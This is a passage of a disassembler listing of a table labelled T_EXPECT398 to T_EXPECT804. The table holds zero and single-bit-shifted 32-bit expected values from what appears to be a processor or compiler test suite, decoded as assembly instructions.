3282c: 00 00 00 00 add r0,r0
00032830 <T_EXPECT398>:
32830: 00 00 00 00 add r0,r0
00032834 <T_EXPECT399>:
32834: 00 00 00 00 add r0,r0
00032838 <T_EXPECT400>:
32838: 00 00 00 00 add r0,r0
0003283c <T_EXPECT401>:
3283c: 00 00 00 00 add r0,r0
00032840 <T_EXPECT402>:
32840: 00 00 00 00 add r0,r0
00032844 <T_EXPECT403>:
32844: 00 00 00 00 add r0,r0
00032848 <T_EXPECT404>:
32848: 00 00 00 00 add r0,r0
0003284c <T_EXPECT405>:
3284c: 00 00 00 01 add r0,r1
00032850 <T_EXPECT406>:
32850: 00 00 00 02 add r0,r2
00032854 <T_EXPECT407>:
32854: 00 00 00 04 add r0,r4
00032858 <T_EXPECT408>:
32858: 00 00 00 08 add r0,r8
0003285c <T_EXPECT409>:
3285c: 00 00 00 10 add r0,r16
00032860 <T_EXPECT410>:
32860: 00 00 00 20 add r1,r0
00032864 <T_EXPECT411>:
32864: 00 00 00 40 add r2,r0
00032868 <T_EXPECT412>:
32868: 00 00 00 80 add r4,r0
0003286c <T_EXPECT413>:
3286c: 00 00 01 00 add r8,r0
00032870 <T_EXPECT414>:
32870: 00 00 02 00 add r16,r0
00032874 <T_EXPECT415>:
32874: 00 00 04 00 *unknown*
00032878 <T_EXPECT416>:
32878: 00 00 00 00 add r0,r0
0003287c <T_EXPECT417>:
3287c: 00 00 00 00 add r0,r0
00032880 <T_EXPECT418>:
32880: 00 00 00 00 add r0,r0
00032884 <T_EXPECT419>:
32884: 00 00 00 00 add r0,r0
00032888 <T_EXPECT420>:
32888: 00 00 00 00 add r0,r0
0003288c <T_EXPECT421>:
3288c: 00 00 00 00 add r0,r0
00032890 <T_EXPECT422>:
32890: 00 00 00 00 add r0,r0
00032894 <T_EXPECT423>:
32894: 00 00 00 00 add r0,r0
00032898 <T_EXPECT424>:
32898: 00 00 00 00 add r0,r0
0003289c <T_EXPECT425>:
3289c: 00 00 00 00 add r0,r0
000328a0 <T_EXPECT426>:
328a0: 00 00 00 00 add r0,r0
000328a4 <T_EXPECT427>:
328a4: 00 00 00 00 add r0,r0
000328a8 <T_EXPECT428>:
328a8: 00 00 00 00 add r0,r0
000328ac <T_EXPECT429>:
328ac: 00 00 00 00 add r0,r0
000328b0 <T_EXPECT430>:
328b0: 00 00 00 00 add r0,r0
000328b4 <T_EXPECT431>:
328b4: 00 00 00 00 add r0,r0
000328b8 <T_EXPECT432>:
328b8: 00 00 00 00 add r0,r0
000328bc <T_EXPECT433>:
328bc: 00 00 00 00 add r0,r0
000328c0 <T_EXPECT434>:
328c0: 00 00 00 00 add r0,r0
000328c4 <T_EXPECT435>:
328c4: 00 00 00 00 add r0,r0
000328c8 <T_EXPECT436>:
328c8: 00 00 00 01 add r0,r1
000328cc <T_EXPECT437>:
328cc: 00 00 00 02 add r0,r2
000328d0 <T_EXPECT438>:
328d0: 00 00 00 04 add r0,r4
000328d4 <T_EXPECT439>:
328d4: 00 00 00 08 add r0,r8
000328d8 <T_EXPECT440>:
328d8: 00 00 00 10 add r0,r16
000328dc <T_EXPECT441>:
328dc: 00 00 00 20 add r1,r0
000328e0 <T_EXPECT442>:
328e0: 00 00 00 40 add r2,r0
000328e4 <T_EXPECT443>:
328e4: 00 00 00 80 add r4,r0
000328e8 <T_EXPECT444>:
328e8: 00 00 01 00 add r8,r0
000328ec <T_EXPECT445>:
328ec: 00 00 02 00 add r16,r0
000328f0 <T_EXPECT446>:
328f0: 00 00 04 00 *unknown*
000328f4 <T_EXPECT447>:
328f4: 00 00 08 00 *unknown*
000328f8 <T_EXPECT448>:
328f8: 00 00 00 00 add r0,r0
000328fc <T_EXPECT449>:
328fc: 00 00 00 00 add r0,r0
00032900 <T_EXPECT450>:
32900: 00 00 00 00 add r0,r0
00032904 <T_EXPECT451>:
32904: 00 00 00 00 add r0,r0
00032908 <T_EXPECT452>:
32908: 00 00 00 00 add r0,r0
0003290c <T_EXPECT453>:
3290c: 00 00 00 00 add r0,r0
00032910 <T_EXPECT454>:
32910: 00 00 00 00 add r0,r0
00032914 <T_EXPECT455>:
32914: 00 00 00 00 add r0,r0
00032918 <T_EXPECT456>:
32918: 00 00 00 00 add r0,r0
0003291c <T_EXPECT457>:
3291c: 00 00 00 00 add r0,r0
00032920 <T_EXPECT458>:
32920: 00 00 00 00 add r0,r0
00032924 <T_EXPECT459>:
32924: 00 00 00 00 add r0,r0
00032928 <T_EXPECT460>:
32928: 00 00 00 00 add r0,r0
0003292c <T_EXPECT461>:
3292c: 00 00 00 00 add r0,r0
00032930 <T_EXPECT462>:
32930: 00 00 00 00 add r0,r0
00032934 <T_EXPECT463>:
32934: 00 00 00 00 add r0,r0
00032938 <T_EXPECT464>:
32938: 00 00 00 00 add r0,r0
0003293c <T_EXPECT465>:
3293c: 00 00 00 00 add r0,r0
00032940 <T_EXPECT466>:
32940: 00 00 00 00 add r0,r0
00032944 <T_EXPECT467>:
32944: 00 00 00 01 add r0,r1
00032948 <T_EXPECT468>:
32948: 00 00 00 02 add r0,r2
0003294c <T_EXPECT469>:
3294c: 00 00 00 04 add r0,r4
00032950 <T_EXPECT470>:
32950: 00 00 00 08 add r0,r8
00032954 <T_EXPECT471>:
32954: 00 00 00 10 add r0,r16
00032958 <T_EXPECT472>:
32958: 00 00 00 20 add r1,r0
0003295c <T_EXPECT473>:
3295c: 00 00 00 40 add r2,r0
00032960 <T_EXPECT474>:
32960: 00 00 00 80 add r4,r0
00032964 <T_EXPECT475>:
32964: 00 00 01 00 add r8,r0
00032968 <T_EXPECT476>:
32968: 00 00 02 00 add r16,r0
0003296c <T_EXPECT477>:
3296c: 00 00 04 00 *unknown*
00032970 <T_EXPECT478>:
32970: 00 00 08 00 *unknown*
00032974 <T_EXPECT479>:
32974: 00 00 10 00 *unknown*
00032978 <T_EXPECT480>:
32978: 00 00 00 00 add r0,r0
0003297c <T_EXPECT481>:
3297c: 00 00 00 00 add r0,r0
00032980 <T_EXPECT482>:
32980: 00 00 00 00 add r0,r0
00032984 <T_EXPECT483>:
32984: 00 00 00 00 add r0,r0
00032988 <T_EXPECT484>:
32988: 00 00 00 00 add r0,r0
0003298c <T_EXPECT485>:
3298c: 00 00 00 00 add r0,r0
00032990 <T_EXPECT486>:
32990: 00 00 00 00 add r0,r0
00032994 <T_EXPECT487>:
32994: 00 00 00 00 add r0,r0
00032998 <T_EXPECT488>:
32998: 00 00 00 00 add r0,r0
0003299c <T_EXPECT489>:
3299c: 00 00 00 00 add r0,r0
000329a0 <T_EXPECT490>:
329a0: 00 00 00 00 add r0,r0
000329a4 <T_EXPECT491>:
329a4: 00 00 00 00 add r0,r0
000329a8 <T_EXPECT492>:
329a8: 00 00 00 00 add r0,r0
000329ac <T_EXPECT493>:
329ac: 00 00 00 00 add r0,r0
000329b0 <T_EXPECT494>:
329b0: 00 00 00 00 add r0,r0
000329b4 <T_EXPECT495>:
329b4: 00 00 00 00 add r0,r0
000329b8 <T_EXPECT496>:
329b8: 00 00 00 00 add r0,r0
000329bc <T_EXPECT497>:
329bc: 00 00 00 00 add r0,r0
000329c0 <T_EXPECT498>:
329c0: 00 00 00 01 add r0,r1
000329c4 <T_EXPECT499>:
329c4: 00 00 00 02 add r0,r2
000329c8 <T_EXPECT500>:
329c8: 00 00 00 04 add r0,r4
000329cc <T_EXPECT501>:
329cc: 00 00 00 08 add r0,r8
000329d0 <T_EXPECT502>:
329d0: 00 00 00 10 add r0,r16
000329d4 <T_EXPECT503>:
329d4: 00 00 00 20 add r1,r0
000329d8 <T_EXPECT504>:
329d8: 00 00 00 40 add r2,r0
000329dc <T_EXPECT505>:
329dc: 00 00 00 80 add r4,r0
000329e0 <T_EXPECT506>:
329e0: 00 00 01 00 add r8,r0
000329e4 <T_EXPECT507>:
329e4: 00 00 02 00 add r16,r0
000329e8 <T_EXPECT508>:
329e8: 00 00 04 00 *unknown*
000329ec <T_EXPECT509>:
329ec: 00 00 08 00 *unknown*
000329f0 <T_EXPECT510>:
329f0: 00 00 10 00 *unknown*
000329f4 <T_EXPECT511>:
329f4: 00 00 20 00 *unknown*
000329f8 <T_EXPECT512>:
329f8: 00 00 00 00 add r0,r0
000329fc <T_EXPECT513>:
329fc: 00 00 00 00 add r0,r0
00032a00 <T_EXPECT514>:
32a00: 00 00 00 00 add r0,r0
00032a04 <T_EXPECT515>:
32a04: 00 00 00 00 add r0,r0
00032a08 <T_EXPECT516>:
32a08: 00 00 00 00 add r0,r0
00032a0c <T_EXPECT517>:
32a0c: 00 00 00 00 add r0,r0
00032a10 <T_EXPECT518>:
32a10: 00 00 00 00 add r0,r0
00032a14 <T_EXPECT519>:
32a14: 00 00 00 00 add r0,r0
00032a18 <T_EXPECT520>:
32a18: 00 00 00 00 add r0,r0
00032a1c <T_EXPECT521>:
32a1c: 00 00 00 00 add r0,r0
00032a20 <T_EXPECT522>:
32a20: 00 00 00 00 add r0,r0
00032a24 <T_EXPECT523>:
32a24: 00 00 00 00 add r0,r0
00032a28 <T_EXPECT524>:
32a28: 00 00 00 00 add r0,r0
00032a2c <T_EXPECT525>:
32a2c: 00 00 00 00 add r0,r0
00032a30 <T_EXPECT526>:
32a30: 00 00 00 00 add r0,r0
00032a34 <T_EXPECT527>:
32a34: 00 00 00 00 add r0,r0
00032a38 <T_EXPECT528>:
32a38: 00 00 00 00 add r0,r0
00032a3c <T_EXPECT529>:
32a3c: 00 00 00 01 add r0,r1
00032a40 <T_EXPECT530>:
32a40: 00 00 00 02 add r0,r2
00032a44 <T_EXPECT531>:
32a44: 00 00 00 04 add r0,r4
00032a48 <T_EXPECT532>:
32a48: 00 00 00 08 add r0,r8
00032a4c <T_EXPECT533>:
32a4c: 00 00 00 10 add r0,r16
00032a50 <T_EXPECT534>:
32a50: 00 00 00 20 add r1,r0
00032a54 <T_EXPECT535>:
32a54: 00 00 00 40 add r2,r0
00032a58 <T_EXPECT536>:
32a58: 00 00 00 80 add r4,r0
00032a5c <T_EXPECT537>:
32a5c: 00 00 01 00 add r8,r0
00032a60 <T_EXPECT538>:
32a60: 00 00 02 00 add r16,r0
00032a64 <T_EXPECT539>:
32a64: 00 00 04 00 *unknown*
00032a68 <T_EXPECT540>:
32a68: 00 00 08 00 *unknown*
00032a6c <T_EXPECT541>:
32a6c: 00 00 10 00 *unknown*
00032a70 <T_EXPECT542>:
32a70: 00 00 20 00 *unknown*
00032a74 <T_EXPECT543>:
32a74: 00 00 40 00 *unknown*
00032a78 <T_EXPECT544>:
32a78: 00 00 00 00 add r0,r0
00032a7c <T_EXPECT545>:
32a7c: 00 00 00 00 add r0,r0
00032a80 <T_EXPECT546>:
32a80: 00 00 00 00 add r0,r0
00032a84 <T_EXPECT547>:
32a84: 00 00 00 00 add r0,r0
00032a88 <T_EXPECT548>:
32a88: 00 00 00 00 add r0,r0
00032a8c <T_EXPECT549>:
32a8c: 00 00 00 00 add r0,r0
00032a90 <T_EXPECT550>:
32a90: 00 00 00 00 add r0,r0
00032a94 <T_EXPECT551>:
32a94: 00 00 00 00 add r0,r0
00032a98 <T_EXPECT552>:
32a98: 00 00 00 00 add r0,r0
00032a9c <T_EXPECT553>:
32a9c: 00 00 00 00 add r0,r0
00032aa0 <T_EXPECT554>:
32aa0: 00 00 00 00 add r0,r0
00032aa4 <T_EXPECT555>:
32aa4: 00 00 00 00 add r0,r0
00032aa8 <T_EXPECT556>:
32aa8: 00 00 00 00 add r0,r0
00032aac <T_EXPECT557>:
32aac: 00 00 00 00 add r0,r0
00032ab0 <T_EXPECT558>:
32ab0: 00 00 00 00 add r0,r0
00032ab4 <T_EXPECT559>:
32ab4: 00 00 00 00 add r0,r0
00032ab8 <T_EXPECT560>:
32ab8: 00 00 00 01 add r0,r1
00032abc <T_EXPECT561>:
32abc: 00 00 00 02 add r0,r2
00032ac0 <T_EXPECT562>:
32ac0: 00 00 00 04 add r0,r4
00032ac4 <T_EXPECT563>:
32ac4: 00 00 00 08 add r0,r8
00032ac8 <T_EXPECT564>:
32ac8: 00 00 00 10 add r0,r16
00032acc <T_EXPECT565>:
32acc: 00 00 00 20 add r1,r0
00032ad0 <T_EXPECT566>:
32ad0: 00 00 00 40 add r2,r0
00032ad4 <T_EXPECT567>:
32ad4: 00 00 00 80 add r4,r0
00032ad8 <T_EXPECT568>:
32ad8: 00 00 01 00 add r8,r0
00032adc <T_EXPECT569>:
32adc: 00 00 02 00 add r16,r0
00032ae0 <T_EXPECT570>:
32ae0: 00 00 04 00 *unknown*
00032ae4 <T_EXPECT571>:
32ae4: 00 00 08 00 *unknown*
00032ae8 <T_EXPECT572>:
32ae8: 00 00 10 00 *unknown*
00032aec <T_EXPECT573>:
32aec: 00 00 20 00 *unknown*
00032af0 <T_EXPECT574>:
32af0: 00 00 40 00 *unknown*
00032af4 <T_EXPECT575>:
32af4: 00 00 80 00 *unknown*
00032af8 <T_EXPECT576>:
32af8: 00 00 00 00 add r0,r0
00032afc <T_EXPECT577>:
32afc: 00 00 00 00 add r0,r0
00032b00 <T_EXPECT578>:
32b00: 00 00 00 00 add r0,r0
00032b04 <T_EXPECT579>:
32b04: 00 00 00 00 add r0,r0
00032b08 <T_EXPECT580>:
32b08: 00 00 00 00 add r0,r0
00032b0c <T_EXPECT581>:
32b0c: 00 00 00 00 add r0,r0
00032b10 <T_EXPECT582>:
32b10: 00 00 00 00 add r0,r0
00032b14 <T_EXPECT583>:
32b14: 00 00 00 00 add r0,r0
00032b18 <T_EXPECT584>:
32b18: 00 00 00 00 add r0,r0
00032b1c <T_EXPECT585>:
32b1c: 00 00 00 00 add r0,r0
00032b20 <T_EXPECT586>:
32b20: 00 00 00 00 add r0,r0
00032b24 <T_EXPECT587>:
32b24: 00 00 00 00 add r0,r0
00032b28 <T_EXPECT588>:
32b28: 00 00 00 00 add r0,r0
00032b2c <T_EXPECT589>:
32b2c: 00 00 00 00 add r0,r0
00032b30 <T_EXPECT590>:
32b30: 00 00 00 00 add r0,r0
00032b34 <T_EXPECT591>:
32b34: 00 00 00 01 add r0,r1
00032b38 <T_EXPECT592>:
32b38: 00 00 00 02 add r0,r2
00032b3c <T_EXPECT593>:
32b3c: 00 00 00 04 add r0,r4
00032b40 <T_EXPECT594>:
32b40: 00 00 00 08 add r0,r8
00032b44 <T_EXPECT595>:
32b44: 00 00 00 10 add r0,r16
00032b48 <T_EXPECT596>:
32b48: 00 00 00 20 add r1,r0
00032b4c <T_EXPECT597>:
32b4c: 00 00 00 40 add r2,r0
00032b50 <T_EXPECT598>:
32b50: 00 00 00 80 add r4,r0
00032b54 <T_EXPECT599>:
32b54: 00 00 01 00 add r8,r0
00032b58 <T_EXPECT600>:
32b58: 00 00 02 00 add r16,r0
00032b5c <T_EXPECT601>:
32b5c: 00 00 04 00 *unknown*
00032b60 <T_EXPECT602>:
32b60: 00 00 08 00 *unknown*
00032b64 <T_EXPECT603>:
32b64: 00 00 10 00 *unknown*
00032b68 <T_EXPECT604>:
32b68: 00 00 20 00 *unknown*
00032b6c <T_EXPECT605>:
32b6c: 00 00 40 00 *unknown*
00032b70 <T_EXPECT606>:
32b70: 00 00 80 00 *unknown*
00032b74 <T_EXPECT607>:
32b74: 00 01 00 00 *unknown*
00032b78 <T_EXPECT608>:
32b78: 00 00 00 00 add r0,r0
00032b7c <T_EXPECT609>:
32b7c: 00 00 00 00 add r0,r0
00032b80 <T_EXPECT610>:
32b80: 00 00 00 00 add r0,r0
00032b84 <T_EXPECT611>:
32b84: 00 00 00 00 add r0,r0
00032b88 <T_EXPECT612>:
32b88: 00 00 00 00 add r0,r0
00032b8c <T_EXPECT613>:
32b8c: 00 00 00 00 add r0,r0
00032b90 <T_EXPECT614>:
32b90: 00 00 00 00 add r0,r0
00032b94 <T_EXPECT615>:
32b94: 00 00 00 00 add r0,r0
00032b98 <T_EXPECT616>:
32b98: 00 00 00 00 add r0,r0
00032b9c <T_EXPECT617>:
32b9c: 00 00 00 00 add r0,r0
00032ba0 <T_EXPECT618>:
32ba0: 00 00 00 00 add r0,r0
00032ba4 <T_EXPECT619>:
32ba4: 00 00 00 00 add r0,r0
00032ba8 <T_EXPECT620>:
32ba8: 00 00 00 00 add r0,r0
00032bac <T_EXPECT621>:
32bac: 00 00 00 00 add r0,r0
00032bb0 <T_EXPECT622>:
32bb0: 00 00 00 01 add r0,r1
00032bb4 <T_EXPECT623>:
32bb4: 00 00 00 02 add r0,r2
00032bb8 <T_EXPECT624>:
32bb8: 00 00 00 04 add r0,r4
00032bbc <T_EXPECT625>:
32bbc: 00 00 00 08 add r0,r8
00032bc0 <T_EXPECT626>:
32bc0: 00 00 00 10 add r0,r16
00032bc4 <T_EXPECT627>:
32bc4: 00 00 00 20 add r1,r0
00032bc8 <T_EXPECT628>:
32bc8: 00 00 00 40 add r2,r0
00032bcc <T_EXPECT629>:
32bcc: 00 00 00 80 add r4,r0
00032bd0 <T_EXPECT630>:
32bd0: 00 00 01 00 add r8,r0
00032bd4 <T_EXPECT631>:
32bd4: 00 00 02 00 add r16,r0
00032bd8 <T_EXPECT632>:
32bd8: 00 00 04 00 *unknown*
00032bdc <T_EXPECT633>:
32bdc: 00 00 08 00 *unknown*
00032be0 <T_EXPECT634>:
32be0: 00 00 10 00 *unknown*
00032be4 <T_EXPECT635>:
32be4: 00 00 20 00 *unknown*
00032be8 <T_EXPECT636>:
32be8: 00 00 40 00 *unknown*
00032bec <T_EXPECT637>:
32bec: 00 00 80 00 *unknown*
00032bf0 <T_EXPECT638>:
32bf0: 00 01 00 00 *unknown*
00032bf4 <T_EXPECT639>:
32bf4: 00 02 00 00 *unknown*
00032bf8 <T_EXPECT640>:
32bf8: 00 00 00 00 add r0,r0
00032bfc <T_EXPECT641>:
32bfc: 00 00 00 00 add r0,r0
00032c00 <T_EXPECT642>:
32c00: 00 00 00 00 add r0,r0
00032c04 <T_EXPECT643>:
32c04: 00 00 00 00 add r0,r0
00032c08 <T_EXPECT644>:
32c08: 00 00 00 00 add r0,r0
00032c0c <T_EXPECT645>:
32c0c: 00 00 00 00 add r0,r0
00032c10 <T_EXPECT646>:
32c10: 00 00 00 00 add r0,r0
00032c14 <T_EXPECT647>:
32c14: 00 00 00 00 add r0,r0
00032c18 <T_EXPECT648>:
32c18: 00 00 00 00 add r0,r0
00032c1c <T_EXPECT649>:
32c1c: 00 00 00 00 add r0,r0
00032c20 <T_EXPECT650>:
32c20: 00 00 00 00 add r0,r0
00032c24 <T_EXPECT651>:
32c24: 00 00 00 00 add r0,r0
00032c28 <T_EXPECT652>:
32c28: 00 00 00 00 add r0,r0
00032c2c <T_EXPECT653>:
32c2c: 00 00 00 01 add r0,r1
00032c30 <T_EXPECT654>:
32c30: 00 00 00 02 add r0,r2
00032c34 <T_EXPECT655>:
32c34: 00 00 00 04 add r0,r4
00032c38 <T_EXPECT656>:
32c38: 00 00 00 08 add r0,r8
00032c3c <T_EXPECT657>:
32c3c: 00 00 00 10 add r0,r16
00032c40 <T_EXPECT658>:
32c40: 00 00 00 20 add r1,r0
00032c44 <T_EXPECT659>:
32c44: 00 00 00 40 add r2,r0
00032c48 <T_EXPECT660>:
32c48: 00 00 00 80 add r4,r0
00032c4c <T_EXPECT661>:
32c4c: 00 00 01 00 add r8,r0
00032c50 <T_EXPECT662>:
32c50: 00 00 02 00 add r16,r0
00032c54 <T_EXPECT663>:
32c54: 00 00 04 00 *unknown*
00032c58 <T_EXPECT664>:
32c58: 00 00 08 00 *unknown*
00032c5c <T_EXPECT665>:
32c5c: 00 00 10 00 *unknown*
00032c60 <T_EXPECT666>:
32c60: 00 00 20 00 *unknown*
00032c64 <T_EXPECT667>:
32c64: 00 00 40 00 *unknown*
00032c68 <T_EXPECT668>:
32c68: 00 00 80 00 *unknown*
00032c6c <T_EXPECT669>:
32c6c: 00 01 00 00 *unknown*
00032c70 <T_EXPECT670>:
32c70: 00 02 00 00 *unknown*
00032c74 <T_EXPECT671>:
32c74: 00 04 00 00 *unknown*
00032c78 <T_EXPECT672>:
32c78: 00 00 00 00 add r0,r0
00032c7c <T_EXPECT673>:
32c7c: 00 00 00 00 add r0,r0
00032c80 <T_EXPECT674>:
32c80: 00 00 00 00 add r0,r0
00032c84 <T_EXPECT675>:
32c84: 00 00 00 00 add r0,r0
00032c88 <T_EXPECT676>:
32c88: 00 00 00 00 add r0,r0
00032c8c <T_EXPECT677>:
32c8c: 00 00 00 00 add r0,r0
00032c90 <T_EXPECT678>:
32c90: 00 00 00 00 add r0,r0
00032c94 <T_EXPECT679>:
32c94: 00 00 00 00 add r0,r0
00032c98 <T_EXPECT680>:
32c98: 00 00 00 00 add r0,r0
00032c9c <T_EXPECT681>:
32c9c: 00 00 00 00 add r0,r0
00032ca0 <T_EXPECT682>:
32ca0: 00 00 00 00 add r0,r0
00032ca4 <T_EXPECT683>:
32ca4: 00 00 00 00 add r0,r0
00032ca8 <T_EXPECT684>:
32ca8: 00 00 00 01 add r0,r1
00032cac <T_EXPECT685>:
32cac: 00 00 00 02 add r0,r2
00032cb0 <T_EXPECT686>:
32cb0: 00 00 00 04 add r0,r4
00032cb4 <T_EXPECT687>:
32cb4: 00 00 00 08 add r0,r8
00032cb8 <T_EXPECT688>:
32cb8: 00 00 00 10 add r0,r16
00032cbc <T_EXPECT689>:
32cbc: 00 00 00 20 add r1,r0
00032cc0 <T_EXPECT690>:
32cc0: 00 00 00 40 add r2,r0
00032cc4 <T_EXPECT691>:
32cc4: 00 00 00 80 add r4,r0
00032cc8 <T_EXPECT692>:
32cc8: 00 00 01 00 add r8,r0
00032ccc <T_EXPECT693>:
32ccc: 00 00 02 00 add r16,r0
00032cd0 <T_EXPECT694>:
32cd0: 00 00 04 00 *unknown*
00032cd4 <T_EXPECT695>:
32cd4: 00 00 08 00 *unknown*
00032cd8 <T_EXPECT696>:
32cd8: 00 00 10 00 *unknown*
00032cdc <T_EXPECT697>:
32cdc: 00 00 20 00 *unknown*
00032ce0 <T_EXPECT698>:
32ce0: 00 00 40 00 *unknown*
00032ce4 <T_EXPECT699>:
32ce4: 00 00 80 00 *unknown*
00032ce8 <T_EXPECT700>:
32ce8: 00 01 00 00 *unknown*
00032cec <T_EXPECT701>:
32cec: 00 02 00 00 *unknown*
00032cf0 <T_EXPECT702>:
32cf0: 00 04 00 00 *unknown*
00032cf4 <T_EXPECT703>:
32cf4: 00 08 00 00 *unknown*
00032cf8 <T_EXPECT704>:
32cf8: 00 00 00 00 add r0,r0
00032cfc <T_EXPECT705>:
32cfc: 00 00 00 00 add r0,r0
00032d00 <T_EXPECT706>:
32d00: 00 00 00 00 add r0,r0
00032d04 <T_EXPECT707>:
32d04: 00 00 00 00 add r0,r0
00032d08 <T_EXPECT708>:
32d08: 00 00 00 00 add r0,r0
00032d0c <T_EXPECT709>:
32d0c: 00 00 00 00 add r0,r0
00032d10 <T_EXPECT710>:
32d10: 00 00 00 00 add r0,r0
00032d14 <T_EXPECT711>:
32d14: 00 00 00 00 add r0,r0
00032d18 <T_EXPECT712>:
32d18: 00 00 00 00 add r0,r0
00032d1c <T_EXPECT713>:
32d1c: 00 00 00 00 add r0,r0
00032d20 <T_EXPECT714>:
32d20: 00 00 00 00 add r0,r0
00032d24 <T_EXPECT715>:
32d24: 00 00 00 01 add r0,r1
00032d28 <T_EXPECT716>:
32d28: 00 00 00 02 add r0,r2
00032d2c <T_EXPECT717>:
32d2c: 00 00 00 04 add r0,r4
00032d30 <T_EXPECT718>:
32d30: 00 00 00 08 add r0,r8
00032d34 <T_EXPECT719>:
32d34: 00 00 00 10 add r0,r16
00032d38 <T_EXPECT720>:
32d38: 00 00 00 20 add r1,r0
00032d3c <T_EXPECT721>:
32d3c: 00 00 00 40 add r2,r0
00032d40 <T_EXPECT722>:
32d40: 00 00 00 80 add r4,r0
00032d44 <T_EXPECT723>:
32d44: 00 00 01 00 add r8,r0
00032d48 <T_EXPECT724>:
32d48: 00 00 02 00 add r16,r0
00032d4c <T_EXPECT725>:
32d4c: 00 00 04 00 *unknown*
00032d50 <T_EXPECT726>:
32d50: 00 00 08 00 *unknown*
00032d54 <T_EXPECT727>:
32d54: 00 00 10 00 *unknown*
00032d58 <T_EXPECT728>:
32d58: 00 00 20 00 *unknown*
00032d5c <T_EXPECT729>:
32d5c: 00 00 40 00 *unknown*
00032d60 <T_EXPECT730>:
32d60: 00 00 80 00 *unknown*
00032d64 <T_EXPECT731>:
32d64: 00 01 00 00 *unknown*
00032d68 <T_EXPECT732>:
32d68: 00 02 00 00 *unknown*
00032d6c <T_EXPECT733>:
32d6c: 00 04 00 00 *unknown*
00032d70 <T_EXPECT734>:
32d70: 00 08 00 00 *unknown*
00032d74 <T_EXPECT735>:
32d74: 00 10 00 00 add r0,0
00032d78 <T_EXPECT736>:
32d78: 00 00 00 00 add r0,r0
00032d7c <T_EXPECT737>:
32d7c: 00 00 00 00 add r0,r0
00032d80 <T_EXPECT738>:
32d80: 00 00 00 00 add r0,r0
00032d84 <T_EXPECT739>:
32d84: 00 00 00 00 add r0,r0
00032d88 <T_EXPECT740>:
32d88: 00 00 00 00 add r0,r0
00032d8c <T_EXPECT741>:
32d8c: 00 00 00 00 add r0,r0
00032d90 <T_EXPECT742>:
32d90: 00 00 00 00 add r0,r0
00032d94 <T_EXPECT743>:
32d94: 00 00 00 00 add r0,r0
00032d98 <T_EXPECT744>:
32d98: 00 00 00 00 add r0,r0
00032d9c <T_EXPECT745>:
32d9c: 00 00 00 00 add r0,r0
00032da0 <T_EXPECT746>:
32da0: 00 00 00 01 add r0,r1
00032da4 <T_EXPECT747>:
32da4: 00 00 00 02 add r0,r2
00032da8 <T_EXPECT748>:
32da8: 00 00 00 04 add r0,r4
00032dac <T_EXPECT749>:
32dac: 00 00 00 08 add r0,r8
00032db0 <T_EXPECT750>:
32db0: 00 00 00 10 add r0,r16
00032db4 <T_EXPECT751>:
32db4: 00 00 00 20 add r1,r0
00032db8 <T_EXPECT752>:
32db8: 00 00 00 40 add r2,r0
00032dbc <T_EXPECT753>:
32dbc: 00 00 00 80 add r4,r0
00032dc0 <T_EXPECT754>:
32dc0: 00 00 01 00 add r8,r0
00032dc4 <T_EXPECT755>:
32dc4: 00 00 02 00 add r16,r0
00032dc8 <T_EXPECT756>:
32dc8: 00 00 04 00 *unknown*
00032dcc <T_EXPECT757>:
32dcc: 00 00 08 00 *unknown*
00032dd0 <T_EXPECT758>:
32dd0: 00 00 10 00 *unknown*
00032dd4 <T_EXPECT759>:
32dd4: 00 00 20 00 *unknown*
00032dd8 <T_EXPECT760>:
32dd8: 00 00 40 00 *unknown*
00032ddc <T_EXPECT761>:
32ddc: 00 00 80 00 *unknown*
00032de0 <T_EXPECT762>:
32de0: 00 01 00 00 *unknown*
00032de4 <T_EXPECT763>:
32de4: 00 02 00 00 *unknown*
00032de8 <T_EXPECT764>:
32de8: 00 04 00 00 *unknown*
00032dec <T_EXPECT765>:
32dec: 00 08 00 00 *unknown*
00032df0 <T_EXPECT766>:
32df0: 00 10 00 00 add r0,0
00032df4 <T_EXPECT767>:
32df4: 00 20 00 00 sub r0,r0
00032df8 <T_EXPECT768>:
32df8: 00 00 00 00 add r0,r0
00032dfc <T_EXPECT769>:
32dfc: 00 00 00 00 add r0,r0
00032e00 <T_EXPECT770>:
32e00: 00 00 00 00 add r0,r0
00032e04 <T_EXPECT771>:
32e04: 00 00 00 00 add r0,r0
00032e08 <T_EXPECT772>:
32e08: 00 00 00 00 add r0,r0
00032e0c <T_EXPECT773>:
32e0c: 00 00 00 00 add r0,r0
00032e10 <T_EXPECT774>:
32e10: 00 00 00 00 add r0,r0
00032e14 <T_EXPECT775>:
32e14: 00 00 00 00 add r0,r0
00032e18 <T_EXPECT776>:
32e18: 00 00 00 00 add r0,r0
00032e1c <T_EXPECT777>:
32e1c: 00 00 00 01 add r0,r1
00032e20 <T_EXPECT778>:
32e20: 00 00 00 02 add r0,r2
00032e24 <T_EXPECT779>:
32e24: 00 00 00 04 add r0,r4
00032e28 <T_EXPECT780>:
32e28: 00 00 00 08 add r0,r8
00032e2c <T_EXPECT781>:
32e2c: 00 00 00 10 add r0,r16
00032e30 <T_EXPECT782>:
32e30: 00 00 00 20 add r1,r0
00032e34 <T_EXPECT783>:
32e34: 00 00 00 40 add r2,r0
00032e38 <T_EXPECT784>:
32e38: 00 00 00 80 add r4,r0
00032e3c <T_EXPECT785>:
32e3c: 00 00 01 00 add r8,r0
00032e40 <T_EXPECT786>:
32e40: 00 00 02 00 add r16,r0
00032e44 <T_EXPECT787>:
32e44: 00 00 04 00 *unknown*
00032e48 <T_EXPECT788>:
32e48: 00 00 08 00 *unknown*
00032e4c <T_EXPECT789>:
32e4c: 00 00 10 00 *unknown*
00032e50 <T_EXPECT790>:
32e50: 00 00 20 00 *unknown*
00032e54 <T_EXPECT791>:
32e54: 00 00 40 00 *unknown*
00032e58 <T_EXPECT792>:
32e58: 00 00 80 00 *unknown*
00032e5c <T_EXPECT793>:
32e5c: 00 01 00 00 *unknown*
00032e60 <T_EXPECT794>:
32e60: 00 02 00 00 *unknown*
00032e64 <T_EXPECT795>:
32e64: 00 04 00 00 *unknown*
00032e68 <T_EXPECT796>:
32e68: 00 08 00 00 *unknown*
00032e6c <T_EXPECT797>:
32e6c: 00 10 00 00 add r0,0
00032e70 <T_EXPECT798>:
32e70: 00 20 00 00 sub r0,r0
00032e74 <T_EXPECT799>:
32e74: 00 40 00 00 mull r0,r0
00032e78 <T_EXPECT800>:
32e78: 00 00 00 00 add r0,r0
00032e7c <T_EXPECT801>:
32e7c: 00 00 00 00 add r0,r0
00032e80 <T_EXPECT802>:
32e80: 00 00 00 00 add r0,r0
00032e84 <T_EXPECT803>:
32e84: 00 00 00 00 add r0,r0
00032e88 <T_EXPECT804>:
